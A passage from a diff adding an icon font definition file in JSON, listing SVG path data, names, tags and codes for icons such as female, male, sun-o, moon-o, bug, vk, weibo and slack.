219.429c5.714 8.571 9.143 19.429 9.143 30.286zM493.714 146.286c0 70.857-57.143 128-128 128s-128-57.143-128-128 57.143-128 128-128 128 57.143 128 128z" + ], + "width": 731.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "female" + ], + "defaultCode": 61826, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "female", + "id": 348, + "order": 1204, + "prevSize": 28, + "code": 61826 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 348 + }, + { + "icon": { + "paths": [ + "M585.143 402.286v237.714c0 30.286-24.571 54.857-54.857 54.857s-54.857-24.571-54.857-54.857v-201.143h-36.571v521.143c0 35.429-28.571 64-64 64s-64-28.571-64-64v-265.143h-36.571v265.143c0 35.429-28.571 64-64 64s-64-28.571-64-64v-521.143h-36.571v201.143c0 30.286-24.571 54.857-54.857 54.857s-54.857-24.571-54.857-54.857v-237.714c0-60.571 49.143-109.714 109.714-109.714h365.714c60.571 0 109.714 49.143 109.714 109.714zM420.571 146.286c0 70.857-57.143 128-128 128s-128-57.143-128-128 57.143-128 128-128 128 57.143 128 128z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "male" + ], + "defaultCode": 61827, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "male", + "id": 349, + "order": 1205, + "prevSize": 28, + "code": 61827 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 349 + }, + { + "icon": { + "paths": [ + "M441.714 744l200-270.286c15.429-21.143 33.714-89.143-24.571-127.429-49.143-32-96-7.429-120.571 21.143-9.143 10.286-25.143 22.857-54.857 22.857s-45.143-12.571-54.286-22.857c-24.571-28.571-71.429-53.143-121.143-21.143-57.714 38.286-39.429 106.286-24 127.429zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "gittip", + "gratipay" + ], + "defaultCode": 61828, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "gittip, gratipay", + "id": 350, + "order": 1206, + "prevSize": 28, + "code": 61828 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 350 + }, + { + "icon": { + "paths": [ + "M841.143 512c0-181.714-147.429-329.143-329.143-329.143s-329.143 147.429-329.143 329.143 147.429 329.143 329.143 329.143 329.143-147.429 329.143-329.143zM998.857 670.286c-1.714 5.714-6.286 9.714-11.429 11.429l-166.857 54.857v174.857c0 5.714-2.857 11.429-7.429 14.857-5.143 3.429-10.857 4.571-16.571 2.286l-166.857-53.714-102.857 141.714c-3.429 4.571-9.143 7.429-14.857 7.429s-11.429-2.857-14.857-7.429l-102.857-141.714-166.857 53.714c-5.714 2.286-11.429 1.143-16.571-2.286-4.571-3.429-7.429-9.143-7.429-14.857v-174.857l-166.857-54.857c-5.143-1.714-9.714-5.714-11.429-11.429s-1.143-12 2.286-16.571l102.857-141.714-102.857-141.714c-3.429-5.143-4-10.857-2.286-16.571s6.286-9.714 11.429-11.429l166.857-54.857v-174.857c0-5.714 2.857-11.429 7.429-14.857 5.143-3.429 10.857-4.571 16.571-2.286l166.857 53.714 102.857-141.714c6.857-9.143 22.857-9.143 29.714 0l102.857 141.714 166.857-53.714c5.714-2.286 11.429-1.143 16.571 2.286 4.571 3.429 7.429 9.143 7.429 14.857v174.857l166.857 54.857c5.143 1.714 9.714 5.714 11.429 11.429s1.143 11.429-2.286 16.571l-102.857 141.714 102.857 141.714c3.429 4.571 4 10.857 2.286 16.571z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sun-o" + ], + "defaultCode": 61829, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sun-o", + "id": 351, + "order": 1207, + "prevSize": 28, + "code": 61829 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 351 + }, + { + "icon": { + "paths": [ + "M721.143 744.571c-20.571 3.429-41.714 5.143-62.857 5.143-212 0-384-172-384-384 0-72.571 21.143-143.429 59.429-204-152 45.143-260.571 184.571-260.571 350.286 0 201.714 164 365.714 365.714 365.714 110.286 0 213.714-50.286 282.286-133.143zM837.143 696c-71.429 154.857-228 254.857-398.286 254.857-241.714 0-438.857-197.143-438.857-438.857 0-237.143 185.714-429.714 422.286-438.286 16-0.571 29.143 8.571 34.857 22.286 6.286 14.286 2.286 30.857-8.571 41.143-65.143 59.429-101.143 140.571-101.143 228.571 0 171.429 139.429 310.857 310.857 310.857 45.143 0 88.571-9.714 130.286-29.143 14.286-6.286 30.286-3.429 41.143 7.429s13.714 27.429 7.429 41.143z" + ], + "width": 843.4102857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "moon-o" + ], + "defaultCode": 61830, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "moon-o", + "id": 352, + "order": 1208, + "prevSize": 28, + "code": 61830 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 352 + }, + { + "icon": { + "paths": [ + "M621.714 475.429c0-20-16.571-36.571-36.571-36.571h-146.286c-20 0-36.571 16.571-36.571 36.571s16.571 36.571 36.571 36.571h146.286c20 0 36.571-16.571 36.571-36.571zM950.857 365.714v548.571c0 20-16.571 36.571-36.571 36.571h-804.571c-20 0-36.571-16.571-36.571-36.571v-548.571c0-20 16.571-36.571 36.571-36.571h804.571c20 0 36.571 16.571 36.571 36.571zM987.429 109.714v146.286c0 20-16.571 36.571-36.571 36.571h-877.714c-20 0-36.571-16.571-36.571-36.571v-146.286c0-20 16.571-36.571 36.571-36.571h877.714c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "archive" + ], + "defaultCode": 61831, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "archive", + "id": 353, + "order": 1209, + "prevSize": 28, + "code": 61831 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 353 + }, + { + "icon": { + "paths": [ + "M932.571 548.571c0 20-16.571 36.571-36.571 36.571h-128c0 71.429-15.429 125.143-38.286 165.714l118.857 119.429c14.286 14.286 14.286 37.143 0 51.429-6.857 7.429-16.571 10.857-25.714 10.857s-18.857-3.429-25.714-10.857l-113.143-112.571s-74.857 68.571-172 68.571v-512h-73.143v512c-103.429 0-178.857-75.429-178.857-75.429l-104.571 118.286c-7.429 8-17.143 12-27.429 12-8.571 0-17.143-2.857-24.571-9.143-14.857-13.714-16-36.571-2.857-52l115.429-129.714c-20-39.429-33.143-90.286-33.143-156.571h-128c-20 0-36.571-16.571-36.571-36.571s16.571-36.571 36.571-36.571h128v-168l-98.857-98.857c-14.286-14.286-14.286-37.143 0-51.429s37.143-14.286 51.429 0l98.857 98.857h482.286l98.857-98.857c14.286-14.286 37.143-14.286 51.429 0s14.286 37.143 0 51.429l-98.857 98.857v168h128c20 0 36.571 16.571 36.571 36.571zM658.286 219.429h-365.714c0-101.143 81.714-182.857 182.857-182.857s182.857 81.714 182.857 182.857z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bug" + ], + "defaultCode": 61832, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bug", + "id": 354, + "order": 1210, + "prevSize": 28, + "code": 61832 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 354 + }, + { + "icon": { + "paths": [ + "M1095.429 297.143c8.571 23.429-18.286 78.286-85.714 168-110.857 147.429-122.857 133.714-31.429 218.857 88 81.714 106.286 121.143 109.143 126.286 0 0 36.571 64-40.571 64.571l-146.286 2.286c-31.429 6.286-73.143-22.286-73.143-22.286-54.857-37.714-106.286-135.429-146.286-122.857 0 0-41.143 13.143-40 101.143 0.571 18.857-8.571 29.143-8.571 29.143s-10.286 10.857-30.286 12.571h-65.714c-144.571 9.143-272-124-272-124s-139.429-144-261.714-431.429c-8-18.857 0.571-28 0.571-28s8.571-10.857 32.571-10.857l156.571-1.143c14.857 2.286 25.143 10.286 25.143 10.286s9.143 6.286 13.714 18.286c25.714 64 58.857 122.286 58.857 122.286 57.143 117.714 96 137.714 118.286 125.714 0 0 29.143-17.714 22.857-160-2.286-51.429-16.571-74.857-16.571-74.857-13.143-17.714-37.714-22.857-48.571-24.571-8.571-1.143 5.714-21.714 24.571-30.857 28-13.714 77.714-14.286 136.571-13.714 46.286 0.571 59.429 3.429 77.143 7.429 54.286 13.143 36 63.429 36 184.571 0 38.857-7.429 93.143 20.571 110.857 12 8 41.714 1.143 114.857-123.429 0 0 34.286-59.429 61.143-128.571 4.571-12.571 14.286-17.714 14.286-17.714s9.143-5.143 21.714-3.429l164.571-1.143c49.714-6.286 57.714 16.571 57.714 16.571z" + ], + "width": 1118.8662857142856, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "vk" + ], + "defaultCode": 61833, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "vk", + "id": 355, + "order": 1211, + "prevSize": 28, + "code": 61833 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 355 + }, + { + "icon": { + "paths": [ + "M385.714 733.714c16-26.286 7.429-56.571-19.429-68-25.714-10.857-60 0.571-76 25.714-16.571 25.714-8.571 56 17.143 68 26.286 12 61.714 0.571 78.286-25.714zM439.429 664.571c5.714-10.286 2.286-21.714-8-25.714-10.286-3.429-22.857 1.143-28.571 10.857-5.714 10.286-2.857 21.143 7.429 25.714 10.286 4 23.429-0.571 29.143-10.857zM538.857 725.714c-34.286 77.714-133.714 120-218.286 92.571-81.714-26.286-116-106.857-80.571-179.429 35.429-70.857 126.286-110.857 206.857-90.286 84 21.714 126.286 100.571 92 177.143zM717.143 634.286c-10.857-111.429-157.143-188-326.857-171.429-169.714 17.143-297.714 120.571-286.857 232s157.143 188 326.857 171.429c169.714-17.143 297.714-120.571 286.857-232zM893.143 636.571c0 128.571-185.143 290.286-463.429 290.286-212.571 0-429.714-102.857-429.714-272.571 0-88.571 56-190.857 152.571-287.429 129.143-129.143 279.429-187.429 336-130.857 25.143 24.571 27.429 68 11.429 119.429-8 26.286 24.571 11.429 24.571 12 104-44 194.857-46.286 228 1.143 17.714 25.143 16 60.571 0 101.714-7.429 18.857 2.286 21.714 16.571 26.286 58.857 18.286 124 62.286 124 140zM850.857 280c32.571 36 41.714 85.714 27.429 129.143-5.714 17.714-24.571 27.429-42.286 21.714s-27.429-24.571-21.714-42.286v0c6.857-21.714 2.286-45.714-13.714-63.429s-39.429-24.571-61.143-20v0c-18.286 4-36.571-7.429-40-25.714-4-18.286 7.429-36 25.714-40 44.571-9.714 93.143 4 125.714 40.571zM954.286 186.857c67.429 74.286 85.143 176 56.571 265.143v0c-6.857 20.571-28.571 32-49.143 25.143s-32-28.571-25.714-49.143v0c20.571-63.429 8-136-40-188.571-48-53.143-118.286-73.143-183.429-59.429-21.143 4.571-42.286-9.143-46.857-30.286s9.143-41.714 30.286-46.286v0c92-19.429 190.857 8.571 258.286 83.429z" + ], + "width": 1039.433142857143, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "weibo" + ], + "defaultCode": 61834, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "weibo", + "id": 356, + "order": 1212, + "prevSize": 28, + "code": 61834 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 356 + }, + { + "icon": { + "paths": [ + "M647.429 897.143c-62.286 34.286-133.714 53.714-210.286 53.714-76 0-147.429-19.429-209.714-53.714 101.143-64 182.857-160.571 209.714-273.714 27.429 113.143 109.143 209.714 210.286 273.714zM364.571 81.143v277.143c0 195.429-108 363.429-261.143 437.714-64.571-76.571-103.429-174.857-103.429-282.857 0-217.143 157.714-397.143 364.571-432zM877.714 513.143c0 108-38.857 206.286-103.429 282.857-153.143-74.286-261.143-242.286-261.143-437.714v-277.143c206.857 34.857 364.571 214.857 364.571 432z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "renren" + ], + "defaultCode": 61835, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "renren", + "id": 357, + "order": 1213, + "prevSize": 28, + "code": 61835 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 357 + }, + { + "icon": { + "paths": [ + "M801.143 630.286c-114.857 285.143-390.286 112.571-390.286 112.571-84.571 170.857-224 280.571-385.143 281.143-14.286 0-25.714-11.429-25.714-25.714s11.429-25.143 25.714-25.143c134.286-0.571 251.429-89.143 328-229.714-85.714 33.143-247.429 58.286-337.143-171.429 227.429-93.714 332 23.429 372 94.857 20.571-50.857 35.429-106.286 45.143-166.286 0 0-291.429 45.714-312-204.571 248.571-100 318.286 160 318.286 160 3.429-34.857 6.857-109.714 6.857-111.429 0 0-221.714-153.714-79.429-344.571 260 89.714 128 338.857 128 338.857 1.143 3.429 1.143 49.714 0 69.714 0 0 94.286-185.714 284.571-120-8.571 279.429-296 221.714-296 221.714-9.143 57.143-23.429 111.429-41.714 161.714 0 0 173.143-191.429 358.857-41.714z" + ], + "width": 801.1337142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pagelines" + ], + "defaultCode": 61836, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "pagelines", + "id": 358, + "order": 1214, + "prevSize": 28, + "code": 61836 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 358 + }, + { + "icon": { + "paths": [ + "M719.429 716v37.714c0 64.571-50.286 116.571-112 116.571h-32.571l-148.571 153.714v-153.714h-302.286c-61.714 0-112-52-112-116.571v-37.714h707.429zM719.429 529.714v145.714h-707.429v-145.714h707.429zM719.429 342.286v145.714h-707.429v-145.714h707.429zM719.429 262.286v38.286h-707.429v-38.286c0-64 50.286-116 112-116h483.429c61.714 0 112 52 112 116z" + ], + "width": 731.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "stack-exchange" + ], + "defaultCode": 61837, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "stack-exchange", + "id": 359, + "order": 1215, + "prevSize": 28, + "code": 61837 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 359 + }, + { + "icon": { + "paths": [ + "M658.286 512c0 4.571-1.714 9.714-5.143 13.143l-182.857 182.857c-3.429 3.429-8.571 5.143-13.143 5.143-9.714 0-18.286-8.571-18.286-18.286v-109.714h-201.143c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h201.143v-109.714c0-10.286 8-18.286 18.286-18.286 5.143 0 9.714 2.286 13.714 5.714l182.286 182.286c3.429 3.429 5.143 8.571 5.143 13.143zM749.714 512c0-171.429-139.429-310.857-310.857-310.857s-310.857 139.429-310.857 310.857 139.429 310.857 310.857 310.857 310.857-139.429 310.857-310.857zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow-circle-o-right" + ], + "defaultCode": 61838, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "arrow-circle-o-right", + "id": 360, + "order": 1216, + "prevSize": 28, + "code": 61838 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 360 + }, + { + "icon": { + "paths": [ + "M658.286 457.143v109.714c0 9.714-8.571 18.286-18.286 18.286h-201.143v109.714c0 10.286-8 18.286-18.286 18.286-5.143 0-9.714-2.286-13.714-5.714l-182.286-182.286c-3.429-3.429-5.143-8.571-5.143-13.143s1.714-9.714 5.143-13.143l182.857-182.857c3.429-3.429 8.571-5.143 13.143-5.143 9.714 0 18.286 8.571 18.286 18.286v109.714h201.143c9.714 0 18.286 8.571 18.286 18.286zM749.714 512c0-171.429-139.429-310.857-310.857-310.857s-310.857 139.429-310.857 310.857 139.429 310.857 310.857 310.857 310.857-139.429 310.857-310.857zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow-circle-o-left" + ], + "defaultCode": 61840, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "arrow-circle-o-left", + "id": 361, + "order": 1217, + "prevSize": 28, + "code": 61840 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 361 + }, + { + "icon": { + "paths": [ + "M585.143 329.143v365.714c0 20-16.571 36.571-36.571 36.571-7.429 0-14.857-2.286-21.143-6.857l-256-182.857c-9.714-6.857-15.429-17.714-15.429-29.714 0-11.429 5.714-22.857 15.429-29.714l256-182.857c6.286-4.571 13.714-6.857 21.143-6.857 20 0 36.571 16.571 36.571 36.571zM731.429 786.286v-548.571c0-9.714-8.571-18.286-18.286-18.286h-548.571c-9.714 0-18.286 8.571-18.286 18.286v548.571c0 9.714 8.571 18.286 18.286 18.286h548.571c9.714 0 18.286-8.571 18.286-18.286zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "caret-square-o-left", + "toggle-left" + ], + "defaultCode": 61841, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "caret-square-o-left, toggle-left", + "id": 362, + "order": 1218, + "prevSize": 28, + "code": 61841 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 362 + }, + { + "icon": { + "paths": [ + "M585.143 512c0 80.571-65.714 146.286-146.286 146.286s-146.286-65.714-146.286-146.286 65.714-146.286 146.286-146.286 146.286 65.714 146.286 146.286zM438.857 201.143c-171.429 0-310.857 139.429-310.857 310.857s139.429 310.857 310.857 310.857 310.857-139.429 310.857-310.857-139.429-310.857-310.857-310.857zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857v0c242.286 0 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "dot-circle-o" + ], + "defaultCode": 61842, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "dot-circle-o", + "id": 363, + "order": 1219, + "prevSize": 28, + "code": 61842 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 363 + }, + { + "icon": { + "paths": [ + "M584.571 678.286l58.286 116.571c-44 136-170.857 229.143-313.714 229.143-181.143 0-329.143-148-329.143-329.143 0-138.286 86.857-261.714 216.571-309.143l9.714 74.857c-93.143 41.143-153.143 132.571-153.143 234.286 0 141.143 114.857 256 256 256 146.857 0 265.714-125.714 255.429-272.571zM897.714 735.429l33.143 65.143-146.286 73.143c-5.143 2.857-10.857 4-16.571 4-13.714 0-26.857-8-32.571-20l-136.571-272.571h-269.714c-18.286 0-34.286-14.286-36.571-32.571l-54.857-445.143c-0.571-5.714 1.714-18.286 3.429-24 10.857-39.429 47.429-65.143 88-65.143 50.286 0 91.429 41.143 91.429 91.429 0 52-45.714 96.571-98.286 90.857l21.143 165.143h241.714v73.143h-232.571l9.143 73.143h260c13.714 0 26.857 8 32.571 20l130.286 260z" + ], + "width": 930.8891428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wheelchair" + ], + "defaultCode": 61843, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "wheelchair", + "id": 364, + "order": 1220, + "prevSize": 28, + "code": 61843 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 364 + }, + { + "icon": { + "paths": [ + "M738.286 364.571c4-82.857-26.857-124.571-92-126.857-88-2.857-147.429 46.857-178.286 149.143 16-6.857 31.429-10.857 46.857-10.857 32 0 46.286 18.286 42.286 54.857-1.714 21.714-16 53.714-42.286 95.429-26.857 42.286-46.857 62.857-60 62.857-17.143 0-32-32-46.857-96.571-4.571-19.429-13.143-67.429-25.714-145.714-11.429-72-41.714-105.714-91.429-101.143-20.571 2.286-52.571 20.571-93.714 57.143-30.857 26.857-61.143 54.857-92.571 82.286l29.714 38.286c28.571-19.429 45.143-29.714 49.714-29.714 21.714 0 42.286 34.286 61.143 102.286 17.143 62.857 34.286 125.143 51.429 188 25.714 68 56.571 102.286 93.714 102.286 59.429 0 132.571-56 218.857-168 83.429-107.429 126.857-192 129.143-253.714zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "vimeo-square" + ], + "defaultCode": 61844, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "vimeo-square", + "id": 365, + "order": 1221, + "prevSize": 28, + "code": 61844 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 365 + }, + { + "icon": { + "paths": [ + "M658.286 475.429c0 221.714-180.571 402.286-402.286 402.286h-91.429c-10.286 0-18.286-8-18.286-18.286v-349.143l-122.857 37.714c-1.714 0.571-3.429 0.571-5.143 0.571-4 0-7.429-1.143-10.857-3.429-4.571-3.429-7.429-9.143-7.429-14.857v-73.143c0-8 5.143-14.857 13.143-17.714l133.143-40.571v-53.143l-122.857 37.714c-1.714 0.571-3.429 0.571-5.143 0.571-4 0-7.429-1.143-10.857-3.429-4.571-3.429-7.429-9.143-7.429-14.857v-73.143c0-8 5.143-14.857 13.143-17.714l133.143-40.571v-142.857c0-10.286 8-18.286 18.286-18.286h91.429c10.286 0 18.286 8 18.286 18.286v103.429l214.286-66.286c5.143-1.714 11.429-0.571 16 2.857s7.429 9.143 7.429 14.857v73.143c0 8-5.143 14.857-13.143 17.714l-224.571 69.143v53.143l214.286-66.286c5.143-1.714 11.429-0.571 16 2.857s7.429 9.143 7.429 14.857v73.143c0 8-5.143 14.857-13.143 17.714l-224.571 69.143v278.286c142.857-9.714 256-128.571 256-273.714 0-10.286 8-18.286 18.286-18.286h91.429c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 658.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "try", + "turkish-lira" + ], + "defaultCode": 61845, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "try, turkish-lira", + "id": 366, + "order": 1222, + "prevSize": 28, + "code": 61845 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 366 + }, + { + "icon": { + "paths": [ + "M658.286 457.143v36.571c0 10.286-8 18.286-18.286 18.286h-201.143v201.143c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-201.143h-201.143c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h201.143v-201.143c0-10.286 8-18.286 18.286-18.286h36.571c10.286 0 18.286 8 18.286 18.286v201.143h201.143c10.286 0 18.286 8 18.286 18.286zM731.429 713.143v-475.429c0-50.286-41.143-91.429-91.429-91.429h-475.429c-50.286 0-91.429 41.143-91.429 91.429v475.429c0 50.286 41.143 91.429 91.429 91.429h475.429c50.286 0 91.429-41.143 91.429-91.429zM804.571 237.714v475.429c0 90.857-73.714 164.571-164.571 164.571h-475.429c-90.857 0-164.571-73.714-164.571-164.571v-475.429c0-90.857 73.714-164.571 164.571-164.571h475.429c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "plus-square-o" + ], + "defaultCode": 61846, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "plus-square-o", + "id": 367, + "order": 1223, + "prevSize": 28, + "code": 61846 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 367 + }, + { + "icon": { + "paths": [ + "M354.286 640c-39.429 22.857-93.143 36.571-153.143 36.571h-73.143v-36.571h-36.571c-10.286 0-18.286-20.571-18.286-45.714 0-10.286 1.714-20 4-28-44-1.143-77.143-8.571-77.143-17.714s33.143-16.571 77.143-17.714c-2.286-8-4-17.714-4-28 0-25.143 8-45.714 18.286-45.714h36.571v-36.571h73.143c60 0 113.714 13.714 153.143 36.571h636c42.286 7.429 80.571 13.714 106.857 18.286 109.714 18.286 146.286 54.857 146.286 73.143s-36.571 54.857-146.286 73.143c-26.286 4.571-64.571 10.857-106.857 18.286h-636zM993.714 496c18.286 12.571 30.286 31.429 30.286 52.571s-12 40-30.286 52.571l46.286 17.143c23.429-16.571 38.857-41.714 38.857-69.714s-15.429-53.143-38.857-69.714zM357.143 649.143h580s-124 21.714-260.571 45.714c-73.143 0-128 54.857-128 54.857l-164.571 164.571s-55.429 36.571-91.429 36.571h-54.857l-53.143-265.143h16.571c58.286 0 113.714-13.143 156-36.571zM201.143 411.429h-16.571l53.143-265.143h54.857c37.143 0 73.143 18.286 91.429 36.571l164.571 164.571c0 0 54.857 54.857 128 54.857 136.571 24 260.571 45.714 260.571 45.714h-580c-42.286-23.429-97.714-36.571-156-36.571z" + ], + "width": 1243.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "space-shuttle" + ], + "defaultCode": 61847, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "space-shuttle", + "id": 368, + "order": 1224, + "prevSize": 28, + "code": 61847 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 368 + }, + { + "icon": { + "paths": [ + "M868 443.429c46.857 0 82.857 34.286 82.857 81.143 0 36.571-18.857 62.286-53.143 74.286l-98.286 33.714 32 95.429c2.857 8.571 4 17.714 4 26.857 0 45.143-36.571 82.857-81.714 82.857-36 0-68-22.286-79.429-56.571l-31.429-94.286-177.143 60.571 31.429 93.714c2.857 8.571 4.571 17.714 4.571 26.857 0 44.571-36.571 82.857-82.286 82.857-36 0-67.429-22.286-78.857-56.571l-31.429-93.143-87.429 30.286c-9.143 2.857-18.857 5.143-28.571 5.143-46.286 0-81.143-34.286-81.143-80.571 0-35.429 22.857-67.429 56.571-78.857l89.143-30.286-60-178.857-89.143 30.857c-9.143 2.857-18.286 4.571-27.429 4.571-45.714 0-81.143-34.857-81.143-80.571 0-35.429 22.857-67.429 56.571-78.857l89.714-30.286-30.286-90.857c-2.857-8.571-4.571-17.714-4.571-26.857 0-45.143 36.571-82.857 82.286-82.857 36 0 67.429 22.286 78.857 56.571l30.857 91.429 177.143-60-30.857-91.429c-2.857-8.571-4.571-17.714-4.571-26.857 0-45.143 37.143-82.857 82.286-82.857 36 0 68 22.857 79.429 56.571l30.286 92 92.571-31.429c8-2.286 16-3.429 24.571-3.429 44.571 0 82.857 33.143 82.857 78.857 0 35.429-27.429 65.143-59.429 76l-89.714 30.857 60 180.571 93.714-32c8.571-2.857 17.714-4.571 26.286-4.571zM414.286 593.143l177.143-60-60-180-177.143 61.143z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "slack" + ], + "defaultCode": 61848, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "slack", + "id": 369, + "order": 1225, + "prevSize": 28, + "code": 61848 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 369 + }, + { + "icon": { + "paths": [ + "M713.143 73.143c90.857 0 164.571 73.714 164.571 164.571v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571zM731.429 676.571v-249.143c-10.857 12-22.857 22.857-36.571 31.429-53.714 35.429-109.143 68.571-162.286 105.143-26.857 18.857-60 39.429-93.714 39.429v0 0 0 0c-33.714 0-66.857-20.571-93.714-39.429-53.143-36.571-109.143-69.143-162.286-105.714-13.143-8.571-23.429-21.143-36.571-30.857v249.143c0 30.286 24.571 54.857 54.857 54.857h475.429c30.286 0 54.857-24.571 54.857-54.857zM731.429 349.143c0-30.857-22.857-56.571-54.857-56.571h-475.429c-30.286 0-54.857 24.571-54.857 54.857 0 30.857 32 64.571 56 80.571 50.286 33.714 102.286 65.143 152.571 98.286 21.714 14.286 57.714 40.571 84 40.571s62.286-26.286 84-40.571c50.857-33.143 101.714-65.714 152.571-99.429 22.286-14.857 56-49.143 56-77.714z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "envelope-square" + ], + "defaultCode": 61849, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "envelope-square", + "id": 370, + "order": 1226, + "prevSize": 28, + "code": 61849 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 370 + }, + { + "icon": { + "paths": [ + "M72.571 512c0-63.429 13.714-124 38.286-178.857l209.714 574.286c-146.857-71.429-248-221.714-248-395.429zM808.571 489.714c0 37.714-15.429 81.143-33.714 142.286l-43.429 146.286-158.857-472s26.286-1.714 50.286-4.571c23.429-2.857 20.571-37.714-2.857-36-71.429 5.143-117.143 5.714-117.143 5.714s-42.857-0.571-115.429-5.714c-24-1.714-26.857 34.286-2.857 36 22.286 2.286 45.714 4.571 45.714 4.571l68.571 187.429-96 288-160-475.429s26.286-1.714 50.286-4.571c23.429-2.857 20.571-37.714-2.857-36-70.857 5.143-117.143 5.714-117.143 5.714-8 0-17.714-0.571-28-0.571 78.286-119.429 213.143-198.286 366.857-198.286 114.286 0 218.286 44 